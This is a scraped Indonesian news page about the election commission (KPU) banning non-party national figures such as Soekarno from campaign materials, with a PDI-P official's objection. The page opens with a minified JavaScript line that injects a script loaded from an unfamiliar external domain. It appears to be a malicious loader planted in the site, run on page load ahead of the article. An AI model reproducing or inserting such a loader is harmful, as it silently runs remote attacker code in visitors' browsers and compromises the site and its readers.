(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
JAKARTA, KPU melarang partai politik memasang gambar tokoh nasional yang bukan pengurus parpol dalam alat peraga kampanye. Misalnya, gambar Presiden RI ke-1 Soekarno, Presiden RI ke-2 Soeharto, Presiden RI ke-3 Baharuddin Jusuf Habibie, Presiden RI ke-4 Abdurahman Wahid, Jenderal Besar Soedirman, pendiri Nahdhatul Ulama KH Hasyim Asy’ari dan tokoh lainnya.
“Itu tak diperkenankan ada dalam alat peraga kampanye. Bukan tidak suka. Bukan pengurus parpol sehingga tak boleh dalam alat peraga kampanye,” kata Komisioner KPU RI Wahyu Setiawan di Jakarta, beberapa waktu lalu.
Namun, berbeda jika tokoh nasional itu seperti Presiden RI ke-5 Megawati Soekarnoputri dan Presiden RI ke-6 Susilo Bambang Yudhoyono. Sebab, keduanya merupakan pimpinan parpol di Indonesia.  Megawati merupakan Ketua Umum Partai Demokrasi Indonesia Perjuangan (PDI-P). Sedangkan SBY merupakan Ketua Umum Partai Demokrat. “(Megawati dan SBY) boleh, karena pengurus parpol. BJ Habibie tidak boleh, karena bukan pengurus parpol. Pak Soeharto tidak boleh, beliau bukan pengurus parpol,” ucap Wahyu.
KPU pun menegaskan, semua tokoh nasional yang bukan pengurus dari suatu parpol tak boleh dipasang pada alat peraga kampanye partai.
“Semua figur bukan pengurus partai tak boleh dimasukkan dalam alat peraga yang difaslitasi KPU. Siapa pun kecuali untuk kepentingan rapat internal. Ini yang difasilitasi oleh KPU,” kata dia.
Desain dan materi konten alat peraga kampanye pun harus dilaporkan ke KPU untuk dilihat apakah sesuai dengan aturan atau tidak. “Untuk memastikan apakah design dan materi alat peraga kampanye sesuai ketentuan. Maka design dan materi dilaporkan ke KPU untuk dikoreksi. Memastikan tidak bertentangan dengan ketentuan yang berlaku,” kata dia.
Terkait keputusan tersebut, Ketua DPP PDIP Andreas Hugo Pareira menilai KPU membuat aturan yang berlebihan. Apalagi, menurut Andreas, partainya memiliki hubungan kesejarahan dengan Soekarno dan beberapa tokoh nasional lainnya.
“Sehingga menurut saya aturan ini berlebihan mengatur sedetail itu, melarang tokoh nasional seperti Bung Karno untuk tidak boleh dipajang sementara kita tahu Bung Karno ini milik bangsa ini,” ujar Andreas
Lebih lanjut ia menilai seharusnya KPU tidak mengatur secara detail terkait penggunaan gambar tokoh nasional dalam alat peraga kampanye. Andreas mengaku, aturan tersebut telah mengusik partainya. Dia pun mempertanyakan apa alasan KPU membuat larangan tersebut.
“Ya kami merasa terganggu dengan larangan seperti itu dan mungkin juga kelompok-kelompok yang lain juga mempunyai idola atau afiliasi dan hubungan kehistorisan dengan Bung Karno atau tokoh lain juga mungkin terganggu dengan larangan yang tak punya alasan mendasar. Mengapa melarang tokoh untuk ditampilkan,” tegasnya.
Menurutnya, KPU seharusnya melarang parpol memasang tokoh-tokoh yang berasal dari organisasi-organisasi yang dilarang oleh pemerintah.(cel/net)
KANALKALIMANTAN.COM, BANJARBARU - Pemilihan Wali Kota dan Wakil Wali Kota dalam kontestasi Pilkada 2024 di… Read More
KANALKALIMANTAN.COM, PALANGKARAYA - Puluhan rumah di permukiman padat penduduk Jalan Mendawai Induk, Kota Palangkaraya, Kalimantan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) melalui Asisten Perekonomian dan Pembangunan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Suasana riuh diiringi tawa gembira warga baik tua, muda, hingga anak-anak, larut… Read More
KANALKALIMANTAN.COM, BANJARMASIN – 4 Mei diperingati Hari Bangkit (Harba) organisasi pelajar tertua di Tanah Air,… Read More
KANALKALIMANTAN.COM, - Ajang penghargaan paling dramatis dan paling sensasional yang ditunggu masyarakat, Silet Awards 2024… Read More
This website uses cookies.